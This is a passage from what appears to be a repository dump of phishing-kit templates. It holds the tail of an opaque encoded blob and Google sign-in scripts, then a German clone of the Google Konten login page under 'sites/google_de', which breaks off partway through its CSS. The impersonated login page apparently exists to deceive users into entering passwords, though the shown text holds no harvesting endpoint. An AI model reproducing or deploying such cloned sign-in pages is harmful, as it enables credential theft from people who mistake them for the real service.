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');\r\n\r\n  </script>\r\n<script>\r\n  (function() {\r\n  function gaia_setFocus() {\r\n  var form = null;\r\n  if (document.getElementById) {\r\n  form = document.getElementById('gaia_loginform');\r\n  }\r\n  if (form && form.Passwd) {\r\n  form.Passwd.focus();\r\n  }\r\n  }\r\n  if (!/iPad|iPhone|iPod/.test(navigator.userAgent)) {\r\n  gaia_attachEvent(window, 'load', gaia_setFocus);\r\n  }\r\n  })();\r\n</script>\r\n<script>\r\n  var gaia_scrollToElement = function(element) {\r\n  var calculateOffsetHeight = function(element) {\r\n  var curtop = 0;\r\n  if (element.offsetParent) {\r\n  while (element) {\r\n  curtop += element.offsetTop;\r\n  element = element.offsetParent;\r\n  }\r\n  }\r\n  return curtop;\r\n  }\r\n  var siginOffsetHeight = calculateOffsetHeight(element);\r\n  var scrollHeight = siginOffsetHeight - window.innerHeight +\r\n  element.clientHeight + 0.02 * window.innerHeight;\r\n  window.scroll(0, scrollHeight);\r\n  }\r\n</script>\r\n<script>\r\n  function gaia_onLoginSubmit() {\r\n  try {\r\n  gaia.loginAutoRedirect.stop();\r\n  } catch (err) {\r\n  // do not prevent form from being submitted\r\n  }\r\n  try {\r\n  document.bg.invoke(function(response) {\r\n  document.getElementById('bgresponse').value = response;\r\n  });\r\n  } catch (err) {\r\n  document.getElementById('bgresponse').value = '';\r\n  }\r\n  return true;\r\n  }\r\n  document.getElementById('gaia_loginform').onsubmit = gaia_onLoginSubmit;\r\n  var signinButton = document.getElementById('signIn');\r\n  gaia_attachEvent(window, 'load', function(){\r\n  gaia_scrollToElement(signinButton);\r\n  });\r\n</script>\r\n  \r\n\r\n</body></html>"
  },
  {
    "path": "sites/google_de/index.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta charset=\"utf-8\">\r\n  <meta content=\"width=300, initial-scale=1\" name=\"viewport\">\r\n  <meta name=\"robots\" content=\"noindex\">\r\n  <meta name=\"google-site-verification\" content=\"LrdTUW9psUAMbh4Ia074-BPEVmcpBxF6Gwf0MSgQXZs\">\r\n  <title>Anmelden – Google Konten</title>\r\n  <style>\r\n  /* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTa-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTZX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTRWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTaaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTf8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTT0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n  </style>\r\n  <style>\r\n  h1, h2 {\r\n  -webkit-animation-duration: 0.1s;\r\n  -webkit-animation-name: fontfix;\r\n  -webkit-animation-iteration-count: 1;\r\n  -webkit-animation-timing-function: linear;\r\n  -webkit-animation-delay: 0;\r\n  }\r\n  @-webkit-keyframes fontfix {\r\n  from {\r\n  opacity: 1;\r\n  }\r\n  to {\r\n  opacity: 1;\r\n  }\r\n  }\r\n  </style>\r\n<style>\r\n  html, body {\r\n  font-family: Arial, sans-serif;\r\n  background: #fff;\r\n  margin: 0;\r\n  padding: 0;\r\n  border: 0;\r\n  position: absolute;\r\n  height: 100%;\r\n  min-width: 100%;\r\n  font-size: 13px;\r\n  color: #404040;\r\n  direction: ltr;\r\n  -webkit-text-size-adjust: none;\r\n  }\r\n  button,\r\n  input[type=button],\r\n  input[type=submit] {\r\n  font-family: Arial, sans-serif;\r\n  font-size: 13px;\r\n  }\r\n  a,\r\n  a:hover,\r\n  a:visited {\r\n  color: #427fed;\r\n  cursor: pointer;\r\n  text-decoration: none;\r\n  }\r\n  a:hover {\r\n  text-decoration: underline;\r\n  }\r\n  h1 {\r\n  font-size: 20px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: normal;\r\n  }\r\n  h2 {\r\n  font-size: 14px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: bold;\r\n  }\r\n  input[type=email],\r\n  input[type=number],\r\n  input[type=password],\r\n  input[type=tel],\r\n  input[type=text],\r\n  input[type=url] {\r\n  -moz-appearance: none;\r\n  -webkit-appearance: none;\r\n  appearance: none;\r\n  display: inline-block;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  margin: 0;\r\n  background: #fff;\r\n  border: 1px solid #d9d9d9;\r\n  border-top: 1px solid #c0c0c0;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  }\r\n  input[type=email]:hover,\r\n  input[type=number]:hover,\r\n  input[type=password]:hover,\r\n  input[type=tel]:hover,\r\n  input[type=text]:hover,\r\n  input[type=url]:hover {\r\n  border: 1px solid #b9b9b9;\r\n  border-top: 1px solid #a0a0a0;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=email]:focus,\r\n  input[type=number]:focus,\r\n  input[type=password]:focus,\r\n  input[type=tel]:focus,\r\n  input[type=text]:focus,\r\n  input[type=url]:focus {\r\n  outline: none;\r\n  border: 1px solid #4d90fe;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  input[type=checkbox],\r\n  input[type=radio] {\r\n  -webkit-appearance: none;\r\n  display: inline-block;\r\n  width: 13px;\r\n  height: 13px;\r\n  margin: 0;\r\n  cursor: pointer;\r\n  vertical-align: bottom;\r\n  background: #fff;\r\n  border: 1px solid #c6c6c6;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  position: relative;\r\n  }\r\n  input[type=checkbox]:active,\r\n  input[type=radio]:active {\r\n  background: #ebebeb;\r\n  }\r\n  input[type=checkbox]:hover {\r\n  border-color: #c6c6c6;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=radio] {\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  width: 15px;\r\n  height: 15px;\r\n  }\r\n  input[type=checkbox]:checked,\r\n  input[type=radio]:checked {\r\n  background: #fff;\r\n  }\r\n  input[type=radio]:checked::after {\r\n  content: '';\r\n  display: block;\r\n  position: relative;\r\n  top: 3px;\r\n  left: 3px;\r\n  width: 7px;\r\n  height: 7px;\r\n  background: #666;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  }\r\n  input[type=checkbox]:checked::after {\r\n  content: url(https://ssl.gstatic.com/ui/v1/menu/checkmark.png);\r\n  display: block;\r\n  position: absolute;\r\n  top: -6px;\r\n  left: -5px;\r\n  }\r\n  input[type=checkbox]:focus {\r\n  outline: none;\r\n  border-color: #4d90fe;\r\n  }\r\n  .stacked-label {\r\n  display: block;\r\n  font-weight: bold;\r\n  margin: .5em 0;\r\n  }\r\n  .hidden-label {\r\n  position: absolute !important;\r\n  clip: rect(1px 1px 1px 1px); /* IE6, IE7 */\r\n  clip: rect(1px, 1px, 1px, 1px);\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  }\r\n  input[type=checkbox].form-error,\r\n  input[type=email].form-error,\r\n  input[type=number].form-error,\r\n  input[type=password].form-error,\r\n  input[type=text].form-error,\r\n  input[type=tel].form-error,\r\n  input[type=url].form-error {\r\n  border: 1px solid #dd4b39;\r\n  }\r\n  .error-msg {\r\n  margin: .5em 0;\r\n  display: block;\r\n  color: #dd4b39;\r\n  line-height: 17px;\r\n  }\r\n  .help-link {\r\n  background: #dd4b39;\r\n  padding: 0 5px;\r\n  color: #fff;\r\n  font-weight: bold;\r\n  display: inline-block;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  text-decoration: none;\r\n  position: relative;\r\n  top: 0px;\r\n  }\r\n  .help-link:visited {\r\n  color: #fff;\r\n  }\r\n  .help-link:hover {\r\n  color: #fff;\r\n  background: #c03523;\r\n  text-decoration: none;\r\n  }\r\n  .help-link:active {\r\n  opacity: 1;\r\n  background: #ae2817;\r\n  }\r\n  .wrapper {\r\n  position: relative;\r\n  min-height: 100%;\r\n  }\r\n  .content {\r\n  padding: 0 44px;\r\n  }\r\n  .main {\r\n  padding-bottom: 100px;\r\n  }\r\n  /* For modern browsers */\r\n  .clearfix:before,\r\n  .clearfix:after {\r\n  content: \"\";\r\n  display: table;\r\n  }\r\n  .clearfix:after {\r\n  clear: both;\r\n  }\r\n  /* For IE 6/7 (trigger hasLayout) */\r\n  .clearfix {\r\n  zoom:1;\r\n  }\r\n  .google-header-bar {\r\n  height: 71px;\r\n  border-bottom: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_1x.png);\r\n  background-size: 116px 38px;\r\n  background-repeat: no-repeat;\r\n  margin: 17px 0 0;\r\n  float: left;\r\n  height: 38px;\r\n  width: 116px;\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_112x36dp.png);\r\n  background-size: 112px 36px;\r\n  margin: 21px 0 0;\r\n  }\r\n  .header .secondary-link {\r\n  margin: 28px 0 0;\r\n  float: right;\r\n  }\r\n  .header .secondary-link a {\r\n  font-weight: normal;\r\n  }\r\n  .google-header-bar.centered {\r\n  border: 0;\r\n  height: 108px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  float: none;\r\n  margin: 40px auto 30px;\r\n  display: block;\r\n  }\r\n  .google-header-bar.centered .header .secondary-link {\r\n  display: none\r\n  }\r\n  .google-footer-bar {\r\n  position: absolute;\r\n  bottom: 0;\r\n  height: 35px;\r\n  width: 100%;\r\n  border-top: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .footer {\r\n  padding-top: 7px;\r\n  font-size: .85em;\r\n  white-space: nowrap;\r\n  line-height: 0;\r\n  }\r\n  .footer ul {\r\n  float: left;\r\n  max-width: 80%;\r\n  min-height: 16px;\r\n  padding: 0;\r\n  }\r\n  .footer ul li {\r\n  color: #737373;\r\n  display: inline;\r\n  padding: 0;\r\n  padding-right: 1.5em;\r\n  }\r\n  .footer a {\r\n  color: #737373;\r\n  }\r\n  .lang-chooser-wrap {\r\n  float: right;\r\n  display: inline;\r\n  }\r\n  .lang-chooser-wrap img {\r\n  vertical-align: top;\r\n  }\r\n  .lang-chooser {\r\n  font-size: 13px;\r\n  height: 24px;\r\n  line-height: 24px;\r\n  }\r\n  .lang-chooser option {\r\n  font-size: 13px;\r\n  line-height: 24px;\r\n  }\r\n  .hidden {\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  display: none !important;\r\n  }\r\n  .banner {\r\n  text-align: center;\r\n  }\r\n  .card {\r\n  background-color: #f7f7f7;\r\n  padding: 20px 25px 30px;\r\n  margin: 0 auto 25px;\r\n  width: 304px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n  .card > *:first-child {\r\n  margin-top: 0;\r\n  }\r\n  .rc-button,\r\n  .rc-button:visited {\r\n  display: inline-block;\r\n  min-width: 46px;\r\n  text-align: center;\r\n  color: #444;\r\n  font-size: 14px;\r\n  font-weight: 700;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  line-height: 36px;\r\n  -moz-border-radius: 3px;\r\n  -webkit-border-radius: 3px;\r\n  border-radius: 3px;\r\n  -o-transition: all 0.218s;\r\n  -moz-transition: all 0.218s;\r\n  -webkit-transition: all 0.218s;\r\n  transition: all 0.218s;\r\n  border: 1px solid #dcdcdc;\r\n  background-color: #f5f5f5;\r\n  background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  -o-transition: none;\r\n  -moz-user-select: none;\r\n  -webkit-user-select: none;\r\n  user-select: none;\r\n  cursor: default;\r\n  }\r\n  .card .rc-button {\r\n  width: 100%;\r\n  padding: 0;\r\n  }\r\n  .rc-button.disabled,\r\n  .rc-button[disabled] {\r\n  opacity: .5;\r\n  filter: alpha(opacity=50);\r\n  cursor: default;\r\n  pointer-events: none;\r\n  }\r\n  .rc-button:hover {\r\n  border: 1px solid #c6c6c6;\r\n  color: #333;\r\n  text-decoration: none;\r\n  -o-transition: all 0.0s;\r\n  -moz-transition: all 0.0s;\r\n  -webkit-transition: all 0.0s;\r\n  transition: all 0.0s;\r\n  background-color: #f8f8f8;\r\n  background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button:active {\r\n  background-color: #f6f6f6;\r\n  background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button-submit,\r\n  .rc-button-submit:visited {\r\n  border: 1px solid #3079ed;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #4d90fe;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: linear-gradient(top,#4d90fe,#4787ed);\r\n  }\r\n  .rc-button-submit:hover {\r\n  border: 1px solid #2f5bb7;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: 